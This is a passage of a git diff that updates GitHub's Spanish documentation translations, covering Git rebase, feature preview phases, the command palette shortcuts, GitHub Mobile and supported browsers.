+Este archivo es la manera de Git de decir, "Oye, esto es lo que estoy a punto de hacer con esta `squash` (combinación)". Detalla el primer mensaje de confirmación (`"Patch A"`) y el segundo mensaje de confirmación (`"something to add to patch A"`). Si estás satisfecho con estos mensajes de confirmación, puedes guardar el archivo y cerrar el editor. De lo contrario, tienes la opción de cambiar el mensaje de confirmación, simplemente, cambiando el texto.
 
-When the editor is closed, the rebase continues:
+Cuando el editor esté cerrado, la rebase continúa:
 
 ```
 pick 1fc6c95 Patch A
@@ -92,42 +93,42 @@ edit dd1475d something I want to split
 reword 4ca2acc i cant' typ goods
 ```
 
-Git processes the two `pick` commands (for `pick 7b36971` and `pick 6b2481b`). It *also* processes the `fixup` command (`fixup c619268`), since it doesn't require any interaction. `fixup` merges the changes from `c619268` into the commit before it, `6b2481b`. Both changes will have the same commit message: `"Patch B"`.
+Git procesa los dos comandos `pick` (para `pick 7b36971` y `pick 6b2481b`). *También* procesa el comando `fixup` (`fixup c619268`), ya que este no necesita ninguna interacción. `fixup` fusiona los cambios de `c619268` en la confirmación que tiene ante sí, `6b2481b`. Ambos cambios tendrán el mismo mensaje de confirmación: `"Patch B"`.
 
-Git gets to the `edit dd1475d` operation, stops, and prints the following message to the terminal:
+Git llega a la operación `edit dd1475d`, se detiene e imprime el siguiente mensaje para el terminal:
 
 ```shell
-You can amend the commit now, with
+Puedes modificar la confirmación ahora con
 
         git commit --amend
 
-Once you are satisfied with your changes, run
+Una vez que estés satisfecho con tus cambios, ejecuta
 
         git rebase --continue
 ```
 
-At this point, you can edit any of the files in your project to make any additional changes. For each change you make, you'll need to perform a new commit, and you can do that by entering the `git commit --amend` command. When you're finished making all your changes, you can run `git rebase --continue`.
+En este punto, puedes editar cualquiera de los archivos de tu proyecto para hacer más cambios. Para cada cambio que hagas, tendrás que realizar una confirmación nueva. Lo puedes hacer ingresando el comando `git commit --amend`. Cuando termines de hacer todos tus cambios, puedes ejecutar `git rebase --continue`.
 
-Git then gets to the `reword 4ca2acc` command.  It opens up your text editor one more time, and presents the following information:
+Luego Git llega al comando `reword 4ca2acc`.  Este abre tu editor de texto una vez más y presenta la siguiente información:
 
 ```
 i cant' typ goods
 
-# Please enter the commit message for your changes. Lines starting
-# with '#' will be ignored, and an empty message aborts the commit.
-# Not currently on any branch.
-# Changes to be committed:
+# Ingresa el mensaje de confirmación para tus cambios. Las líneas que comienzan con
+# con '#' se ignoran, y un mensaje vacío anula la confirmación.
+# Actualmente no se encuentra en una rama.
+# Cambios por confirmar:
 #   (use "git reset HEAD^1 <file>..." to unstage)
 #
-# modified:   a
+# modificado:   a
 #
 ```
 
-As before, Git is showing the commit message for you to edit. You can change the text (`"i cant' typ goods"`), save the file, and close the editor. Git will finish the rebase and return you to the terminal.
+Como antes, Git muestra el mensaje de confirmación para que lo edites. Puedes cambiar el texto (`"i cant' typ goods"`), guardar el archivo y cerrar el editor. Git terminará la rebase y te devolverá al terminal.
 
-## Pushing rebased code to GitHub
+## Subir código de rebase a GitHub
 
-Since you've altered Git history, the usual `git push origin` **will not** work. You'll need to modify the command by "force-pushing" your latest changes:
+Como has modificado el historial de Git, el `git push origin` común **no** funcionará. Tendrás que modificar el comando realizando un "empuje forzado" de tus últimos cambios:
 
 ```shell
 # Don't override changes
@@ -139,10 +140,10 @@ $ git push origin main --force
 
 {% warning %}
 
-Force pushing has serious implications because it changes the historical sequence of commits for the branch. Use it with caution, especially if your repository is being accessed by multiple people.
+El cargar forzadamente tiene implicaciones serias ya que cambia la secuencia del historial de confirmaciones para la rama. Utilízalo con cuidado, especialmente si muchas personas acceden a tu repositorio.
 
 {% endwarning %}
 
-## Further reading
+## Leer más
 
-* "[Resolving merge conflicts after a Git rebase](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase)"
+* "[Resolver conflictos de fusión después de una rebase de Git](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase)"
diff --git a/translations/es-ES/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md b/translations/es-ES/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md
index 1bccbbcea3..07ce302930 100644
--- a/translations/es-ES/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md
+++ b/translations/es-ES/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md
@@ -17,11 +17,11 @@ shortTitle: Vista previa de las características
 
 Los productos y características de {% data variables.product.prodname_dotcom %}pueden pasar por varias fases de lanzamiento.
 
-| Fase                        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
-| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| Alfa                        | El producto o la característica está bajo un gran desarrollo y a menudo tiene requisitos y alcance cambiantes. Esta característica se encuentra disponible para propósitos de demostración y pruebas, pero puede no documentarse. Las versiones Alpha no necesariamente tienen una función completa, no se proporcionan Acuerdo de nivel de servicio (SLA) y no hay obligaciones de apoyo técnico. <br><br> **Note**: A product or feature released as a "Technology Preview" is considered to be in the alpha release stage. Technology Preview releases share the same characteristics of alpha releases as described above. |
-| Beta                        | El producto o característica está listo para una distribución más amplia. Las versiones beta pueden ser públicas o privadas, están documentadas, pero no tienen ningún SLA u obligación de soporte técnico.                                                                                                                                                                                                                                                                                                                                                                                                                                |
-| Disponibilidad general (GA) | El producto o característica está completamente probado y abierto públicamente a todos los usuarios. Las versiones de GA están listas para su uso en producción, y se aplican el Acuerdo de nivel de servicio y las obligaciones de asistencia técnica asociados.                                                                                                                                                                                                                                                                                                                                                                          |
+| Fase                        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Alfa                        | El producto o la característica está bajo un gran desarrollo y a menudo tiene requisitos y alcance cambiantes. Esta característica se encuentra disponible para propósitos de demostración y pruebas, pero puede no documentarse. Las versiones Alpha no necesariamente tienen una función completa, no se proporcionan Acuerdo de nivel de servicio (SLA) y no hay obligaciones de apoyo técnico. <br><br> **Nota**: Un producto o característica que se lanza como "Vista Previa de Tecnología" se considera como en estado de lanzamiento alfa. Los lanzamientos de vistas previas de tecnología comparten las mismas características de los lanzamientos alfa que se describen anteriormente. |
+| Beta                        | El producto o característica está listo para una distribución más amplia. Las versiones beta pueden ser públicas o privadas, están documentadas, pero no tienen ningún SLA u obligación de soporte técnico.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| Disponibilidad general (GA) | El producto o característica está completamente probado y abierto públicamente a todos los usuarios. Las versiones de GA están listas para su uso en producción, y se aplican el Acuerdo de nivel de servicio y las obligaciones de asistencia técnica asociados.                                                                                                                                                                                                                                                                                                                                                                                                                                             |
 
 ## Explorar versiones beta con vista previa de la característica
 
diff --git a/translations/es-ES/content/get-started/using-github/github-command-palette.md b/translations/es-ES/content/get-started/using-github/github-command-palette.md
index 37b977176b..5bd52d490e 100644
--- a/translations/es-ES/content/get-started/using-github/github-command-palette.md
+++ b/translations/es-ES/content/get-started/using-github/github-command-palette.md
@@ -2,8 +2,6 @@
 title: GitHub Command Palette
 intro: 'Use the command palette in {% data variables.product.product_name %} to navigate, search, and run commands directly from your keyboard.'
 versions:
-  fpt: '*'
-  ghec: '*'
   feature: 'command-palette'
 shortTitle: GitHub Command Palette
 ---
@@ -29,28 +27,28 @@ The ability to run commands directly from your keyboard, without navigating thro
 ## Opening the {% data variables.product.prodname_command_palette %}
 
 Open the command palette using one of the following keyboard shortcuts:
-- Windows and Linux: <kbd>Ctrl</kbd><kbd>k</kbd> or <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd> 
-- Mac: <kbd>⌘</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>
+- Windows and Linux: <kbd>Ctrl</kbd>+<kbd>K</kbd> or <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd>
+- Mac: <kbd>Command</kbd>+<kbd>K</kbd> or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd>
 
-When you open the command palette, it shows your location at the top left and uses it as the scope for suggestions (for example, the `mashed-avocado` organization). 
+When you open the command palette, it shows your location at the top left and uses it as the scope for suggestions (for example, the `mashed-avocado` organization).
 
 ![Command palette launch](/assets/images/help/command-palette/command-palette-launch.png)
 
 {% note %}
 
 **Notes:**
-- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd> (Mac).
+- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd> (Mac).
 - If you are working on a project (beta), a project-specific command palette is displayed instead. For more information, see "[Customizing your project (beta) views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
 
 {% endnote %}
 
 ## Navigating with the {% data variables.product.prodname_command_palette %}
 
-You can use the command palette to navigate to any page that you have access to on {% data variables.product.product_name %}. 
+You can use the command palette to navigate to any page that you have access to on {% data variables.product.product_name %}.
 
 {% data reusables.command-palette.open-palette %}
 
-2. Start typing the path you want to navigate to. The suggestions in the command palette change to match your text. 
+2. Start typing the path you want to navigate to. The suggestions in the command palette change to match your text.
 
    ![Command palette navigation current scope](/assets/images/help/command-palette/command-palette-navigation-current-scope.png)
 
@@ -60,22 +58,22 @@ You can use the command palette to navigate to any page that you have access to
 
 4. Finish entering the path, or use the arrow keys to highlight the path you want from the list of suggestions.
 
-5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
 
 ## Searching with the {% data variables.product.prodname_command_palette %}
 
-You can use the command palette to search for anything on {% data variables.product.product_location %}. 
+You can use the command palette to search for anything on {% data variables.product.product_location %}.
 
 {% data reusables.command-palette.open-palette %}
 
 {% data reusables.command-palette.change-scope %}
 
-3. Optionally, use keystrokes to find specific types of resource: 
+3. Optionally, use keystrokes to find specific types of resource:
 
    - <kbd>#</kbd> Search for issues, pull requests, discussions, and projects
    - <kbd>!</kbd> Search for projects
    - <kbd>@</kbd> Search for users, organizations, and repositories
-   - <kbd>/</kbd> Search for files within a repository scope 
+   - <kbd>/</kbd> Search for files within a repository scope
 
    ![Command palette search files](/assets/images/help/command-palette/command-palette-search-files.png)
 
@@ -87,18 +85,18 @@ You can use the command palette to search for anything on {% data variables.prod
 
    {% endtip %}
 
-5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
 
 ## Running commands from the {% data variables.product.prodname_command_palette %}
 
 You can use the {% data variables.product.prodname_command_palette %} to run commands. For example, you can create a new repository or issue, or change your theme. When you run a command, the location for its action is determined by either the underlying page or the scope shown in the command palette.
 
 - Pull request and issue commands always run on the underlying page.
-- Higher-level commands, for example, repository commands, run in the scope shown in the command palette. 
+- Higher-level commands, for example, repository commands, run in the scope shown in the command palette.
 
 For a full list of supported commands, see "[{% data variables.product.prodname_command_palette %} reference](#github-command-palette-reference)."
 
-1. Use <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac) to open the command palette in command mode. If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
+1. Use <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac) to open the command palette in command mode. If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
 
    ![Command palette command mode](/assets/images/help/command-palette/command-palette-command-mode.png)
 
@@ -112,8 +110,8 @@ For a full list of supported commands, see "[{% data variables.product.prodname_
 
 When the command palette is active, you can use one of the following keyboard shortcuts to close the command palette:
 
-- Search and navigation mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>k</kbd> (Mac)
-- Command mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac)
+- Search and navigation mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>K</kbd> (Mac)
+- Command mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac)
 
 ## {% data variables.product.prodname_command_palette %} reference
 
@@ -128,9 +126,9 @@ These keystrokes are available when the command palette is in navigation and sea
 |<kbd>@</kbd>| Search for users, organizations, and repositories. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
 |<kbd>/</kbd>| Search for files within a repository scope or repositories within an organization scope. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)." |
 |<kbd>!</kbd>| Search just for projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
-|<kbd>Ctrl</kbd><kbd>c</kbd> or <kbd>⌘</kbd><kbd>c</kbd>| Copy the search or navigation URL for the highlighted result to the clipboard.|
+|<kbd>Ctrl</kbd>+<kbd>C</kbd> or <kbd>Command</kbd>+<kbd>C</kbd>| Copy the search or navigation URL for the highlighted result to the clipboard.|
 |<kbd>Enter</kbd>| Jump to the highlighted result or run the highlighted command.|
-|<kbd>Ctrl</kbd><kbd>Enter</kbd> or <kbd>⌘</kbd><kbd>Enter</kbd>| Open the highlighted search or navigation result in a new brower tab.|
+|<kbd>Ctrl</kbd>+<kbd>Enter</kbd> or <kbd>Command</kbd>+<kbd>Enter</kbd>| Open the highlighted search or navigation result in a new brower tab.|
 |<kbd>?</kbd>| Display help within the command palette.|
 
 ### Global commands
@@ -198,7 +196,7 @@ These commands are available only when you open the command palette from an issu
 |`Convert issue to discussion...`|Convert the current issue into a discussion. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)."
 |`Delete issue...`|Delete the current issue. For more information, see "[Deleting an issue](/issues/tracking-your-work-with-issues/deleting-an-issue)."|
 |`Edit issue body`|Open the main body of the issue ready for editing.
-|`Edit issue title`|Open the title of the issue ready for editing. 
+|`Edit issue title`|Open the title of the issue ready for editing.
 |`Lock issue`|Limit new comments to users with write access to the repository. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)."
 |`Pin`/`unpin issue`|Change whether or not the issue is shown in the pinned issues section for the repository. For more information, see "[Pinning an issue to your repository](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository)."|
 |`Subscribe`/`unscubscribe`|Opt in or out of notifications for changes to this issue. For more information, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
diff --git a/translations/es-ES/content/get-started/using-github/github-mobile.md b/translations/es-ES/content/get-started/using-github/github-mobile.md
index 76e50e0dd8..93e4e5f090 100644
--- a/translations/es-ES/content/get-started/using-github/github-mobile.md
+++ b/translations/es-ES/content/get-started/using-github/github-mobile.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Mobile
-intro: 'Triage, collaborate, and manage your work on {% data variables.product.product_name %} from your mobile device.'
+intro: 'Clasifica, colabora y administra tu trabajo en {% data variables.product.product_name %} desde tu dispositivo móvil.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,80 +12,81 @@ redirect_from:
   - /github/getting-started-with-github/github-for-mobile
   - /github/getting-started-with-github/using-github/github-for-mobile
 ---
+
 {% data reusables.mobile.ghes-release-phase %}
 
-## About {% data variables.product.prodname_mobile %}
+## Acerca de {% data variables.product.prodname_mobile %}
 
 {% data reusables.mobile.about-mobile %}
 
-{% data variables.product.prodname_mobile %} gives you a way to do high-impact work on {% data variables.product.product_name %} quickly and from anywhere. {% data variables.product.prodname_mobile %} is a safe and secure way to access your {% data variables.product.product_name %} data through a trusted, first-party client application.
+{% data variables.product.prodname_mobile %} te proporciona una manera de realizar trabajo de alto impacto en {% data variables.product.product_name %} de forma rápida y desde cualquier lugar. {% data variables.product.prodname_mobile %} es una manera segura y estable de acceder a tus datos de {% data variables.product.product_name %} a través de una aplicación cliente confiable de primera parte.
 
-With {% data variables.product.prodname_mobile %} you can:
-- Manage, triage, and clear notifications
-- Read, review, and collaborate on issues and pull requests
-- Search for, browse, and interact with users, repositories, and organizations
-- Receive a push notification when someone mentions your username
+Con {% data variables.product.prodname_mobile %} puedes:
+- Administrar, clasificar y borrar las notificaciones
+- Leer, revisar y colaborar en informes de problemas y solicitudes de extracción
+- Buscar, navegar e interactuar con usuarios, repositorios y organizaciones
+- Recibir notificaciones para subir información cuando alguien menciona tu nombre de usuario
 
-For more information about notifications for {% data variables.product.prodname_mobile %}, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)."
+Para obtener más información sobre las notificaciones de {% data variables.product.prodname_mobile %}, consulta "[Configurando notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)."
 
-## Installing {% data variables.product.prodname_mobile %}
+## Instalar {% data variables.product.prodname_mobile %}
 
-To install {% data variables.product.prodname_mobile %} for Android or iOS, see [{% data variables.product.prodname_mobile %}](https://github.com/mobile).
+Para instalar {% data variables.product.prodname_mobile %} para Android o iOS, consulta la sección [{% data variables.product.prodname_mobile %}](https://github.com/mobile).
 
-## Managing accounts
+## Administrar cuentas
 
-You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}.
+Puedes ingresar simultáneamente a la versión móvil con una cuenta de usuario en {% data variables.product.prodname_dotcom_the_website %} y otra en {% data variables.product.prodname_ghe_server %}. For more information about our different products, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
 
 {% data reusables.mobile.push-notifications-on-ghes %}
 
-{% data variables.product.prodname_mobile %} may not work with your enterprise if you're required to access your enterprise over VPN.
+{% data variables.product.prodname_mobile %} podría no funcionar en tu empresa si se te pide acceso a nuestra empresa a través de una VPN.
 
-### Prerequisites
+### Prerrequisitos
 
-You must install {% data variables.product.prodname_mobile %} 1.4 or later on your device to use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}.
+Debes instalar {% data variables.product.prodname_mobile %} 1.4 o posterior en tu dispositivo para utilizar {% data variables.product.prodname_mobile %} con {% data variables.product.prodname_ghe_server %}.
 
-To use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, {% data variables.product.product_location %} must be version 3.0 or greater, and your enterprise owner must enable mobile support for your enterprise. For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %}
+Para utilizar {% data variables.product.prodname_mobile %} con {% data variables.product.prodname_ghe_server %}, {% data variables.product.product_location %} debe estar en su versión 3.0 o posterior, y tu propietario de empresa debe habilitar la compatibilidad con la versión móvil en tu empresa. Para obtener más información, consulta las secciones {% ifversion ghes %}"[Notas de lanzamiento](/enterprise-server/admin/release-notes)" y {% endif %}"[Administrar {% data variables.product.prodname_mobile %} para tu empresa]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise){% ifversion not ghes %}" en la documentación de {% data variables.product.prodname_ghe_server %}.{% else %}".{% endif %}
 
-During the beta for {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, you must be signed in with a user account on {% data variables.product.prodname_dotcom_the_website %}.
+Durante el beta para {% data variables.product.prodname_mobile %} con {% data variables.product.prodname_ghe_server %}, debes estar firmado con una cuenta de usuario en {% data variables.product.prodname_dotcom_the_website %}.
 
-### Adding, switching, or signing out of accounts
+### Agregar, cambiar o cerrar sesión en las cuentas
 
-You can sign into mobile with a user account on {% data variables.product.product_location %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in.
+Puedes ingresar en la versión móvil con una cuenta de usuario en {% data variables.product.prodname_ghe_server %}. En la parte inferior de la app, deja presionado {% octicon "person" aria-label="The person icon" %} **Perfil**, y luego pulsa sobre {% octicon "plus" aria-label="The plus icon" %} **Agregar Cuenta Empresarial**. Sige las indicaciones para iniciar sesión.
 
-After you sign into mobile with a user account on {% data variables.product.product_location %}, you can switch between the account and your account on  {% data variables.product.prodname_dotcom_the_website %}.  At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to.
+After you sign into mobile with a user account on {% data variables.product.prodname_ghe_server %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. En la parte inferior de la app, deja presionado {% octicon "person" aria-label="The person icon" %} **Perfil**, y luego pulsa sobre la cuenta a la que quieras cambiar.
 
-If you no longer need to access data for your user account on {% data variables.product.product_location %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**.
+Si ya no necesitas acceso a los datos de tu cuenta de usuario en {% data variables.product.prodname_ghe_server %} desde {% data variables.product.prodname_mobile %}, puedes salir de la sesión de la cuenta. En la parte inferior de la app, deja presionado {% octicon "person" aria-label="The person icon" %} **Perfil**, desliza hacia la izquierda en la cuenta para salir de ella y luego pulsa en **Salir de sesión**.
 
-## Supported languages for {% data variables.product.prodname_mobile %}
+## Idiomas compatibles para {% data variables.product.prodname_mobile %}
 
-{% data variables.product.prodname_mobile %} is available in the following languages.
+{% data variables.product.prodname_mobile %} se encuentra disponible en los siguientes idiomas.
 
-- English
-- Japanese
-- Brazilian Portuguese
-- Simplified Chinese
-- Spanish
+- Inglés
+- Japonés
+- Portugués brasileño
+- Chino simplificado
+- Español
 
-If you configure the language on your device to a supported language, {% data variables.product.prodname_mobile %} will default to the language. You can change the language for {% data variables.product.prodname_mobile %} in {% data variables.product.prodname_mobile %}'s **Settings** menu.
+Si configuras el idioma en tu dispositivo para que sea uno de los compatibles, {% data variables.product.prodname_mobile %} estará predeterminadamente en este idioma. Puedes cambiar el idioma de {% data variables.product.prodname_mobile %} en el menú de **Ajustes** de {% data variables.product.prodname_mobile %}.
 
-## Managing Universal Links for {% data variables.product.prodname_mobile %} on iOS
+## Administrar Enlaces Universales para {% data variables.product.prodname_mobile %} en iOS
 
-{% data variables.product.prodname_mobile %} automatically enables Universal Links for iOS. When you tap any {% data variables.product.product_name %} link, the destination URL will open in {% data variables.product.prodname_mobile %} instead of Safari. For more information, see [Universal Links](https://developer.apple.com/ios/universal-links/) on the Apple Developer site.
+{% data variables.product.prodname_mobile %} habilita automáticamente los Enlaces Universales para iOS. Cuando tocas en cualquier enlace de {% data variables.product.product_name %}, la URL destino se abrirá en {% data variables.product.prodname_mobile %} en vez de en Safari. Para obtener más información, consulta la sección[Enlaces Universales](https://developer.apple.com/ios/universal-links/) en el sitio para Desarrolladores de Apple.
 
-To disable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open**. Every time you tap a {% data variables.product.product_name %} link in the future, the destination URL will open in Safari instead of {% data variables.product.prodname_mobile %}.
+Para inhabilitar los Enlaces Universales, presiona sostenidamente cualquier enlace de {% data variables.product.product_name %} y luego toca en **Abrir**. Cada vez que toques en un enlace de {% data variables.product.product_name %} posteriormente, la URL destino se abrirá en Safari en vez de en {% data variables.product.prodname_mobile %}.
 
-To re-enable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open in {% data variables.product.prodname_dotcom %}**.
+Para volver a habilitar los Enlaces Universales, sostén cualquier enlace de {% data variables.product.product_name %} y luego toca en **Abrir en {% data variables.product.prodname_dotcom %}**.
 
-## Sharing feedback
+## Compartir retroalimentación
 
-If you find a bug in {% data variables.product.prodname_mobile %}, you can email us at <a href="mailto:mobilefeedback@github.com">mobilefeedback@github.com</a>.
+Si encuentras un error en {% data variables.product.prodname_mobile %}, puedes mandarnos un mensaje de correo electrónico a <a href="mailto:mobilefeedback@github.com">mobilefeedback@github.com</a>.
 
-You can submit feature requests or other feedback for {% data variables.product.prodname_mobile %} on [{% data variables.product.prodname_discussions %}](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Mobile+Feedback%22).
+Puedes emitir solicitudes de características o cualquier otro tipo de retroalimentación para {% data variables.product.prodname_mobile %} en los [{% data variables.product.prodname_discussions %}](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Mobile+Feedback%22).
 
-## Opting out of beta releases for iOS
+## Abandonar los lanzamientos beta para iOS
 
-If you're testing a beta release of {% data variables.product.prodname_mobile %} for iOS using TestFlight, you can leave the beta at any time.
+Si estás probando un lanzamiento beta de {% data variables.product.prodname_mobile %} para iOS utilizando TestFlight, puedes abandonar el beta en cualquier momento.
 
-1. On your iOS device, open the TestFlight app.
-2. Under "Apps", tap **{% data variables.product.prodname_dotcom %}**.
-3. At the bottom of the page, tap **Stop Testing**.
+1. En tu dispositivo iOS, abre la aplicación de TestFlight.
+2. Debajo de "Apps", toca en **{% data variables.product.prodname_dotcom %}**.
+3. En la parte inferior de la página, toca en **Dejar de Probar**.
diff --git a/translations/es-ES/content/get-started/using-github/index.md b/translations/es-ES/content/get-started/using-github/index.md
index d0e1e4d2f2..bc4f36791f 100644
--- a/translations/es-ES/content/get-started/using-github/index.md
+++ b/translations/es-ES/content/get-started/using-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub
-intro: 'Explore {% data variables.product.company_short %}''s products from different platforms and devices.'
+title: Utilizar GitHub
+intro: 'Explorar los productos de {% data variables.product.company_short %} desde plataformas y dispositivos diversos.'
 redirect_from:
   - /articles/using-github
   - /github/getting-started-with-github/using-github
@@ -19,3 +19,4 @@ children:
   - /github-command-palette
   - /troubleshooting-connectivity-problems
 ---
+
diff --git a/translations/es-ES/content/get-started/using-github/supported-browsers.md b/translations/es-ES/content/get-started/using-github/supported-browsers.md
index 610b6584c6..786f43fb97 100644
--- a/translations/es-ES/content/get-started/using-github/supported-browsers.md
+++ b/translations/es-ES/content/get-started/using-github/supported-browsers.md
@@ -1,22 +1,23 @@
 ---
-title: Supported browsers
+title: Navegadores compatibles
 redirect_from:
   - /articles/why-doesn-t-graphs-work-with-ie-8
   - /articles/why-don-t-graphs-work-with-ie8
   - /articles/supported-browsers
   - /github/getting-started-with-github/supported-browsers
   - /github/getting-started-with-github/using-github/supported-browsers
-intro: 'We design {% data variables.product.product_name %} to support the latest web browsers. We support the current versions of [Chrome](https://www.google.com/chrome/), [Firefox](http://www.mozilla.org/firefox/), [Safari](http://www.apple.com/safari/), and [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge).'
+intro: 'Diseñamos {% data variables.product.product_name %} para admitir las últimas versiones de los navegadores web. Admitimos las versiones actuales de [Chrome](https://www.google.com/chrome/), [Firefox](http://www.mozilla.org/firefox/), [Safari](http://www.apple.com/safari/), y [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge).'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Firefox Extended Support Release
 
-We do our best to support Firefox's latest [Extended Support Release](https://www.mozilla.org/en-US/firefox/organizations/) (ESR). Older versions of Firefox may disable some features on {% data variables.product.product_name %} and require the latest version of Firefox.
+## Lanzamiento de soporte extendido de Firefox
 
-## Beta and developer builds
+Nos esforzamos para admitir el más reciente [Lanzamiento de soporte extendido](https://www.mozilla.org/en-US/firefox/organizations/) (ESR) de Firefox. Las versiones anteriores de Firefox pueden inhabilitar algunas funciones en {% data variables.product.product_name %} y necesitan la última versión de Firefox.
 
-You may encounter unexpected bugs in beta and developer builds of our supported browsers. If you encounter a bug on {% data variables.product.product_name %} in one of these unreleased builds, please verify that it also exists in the stable version of the same browser. If the bug only exists in the unstable version, consider reporting the bug to the browser developer.
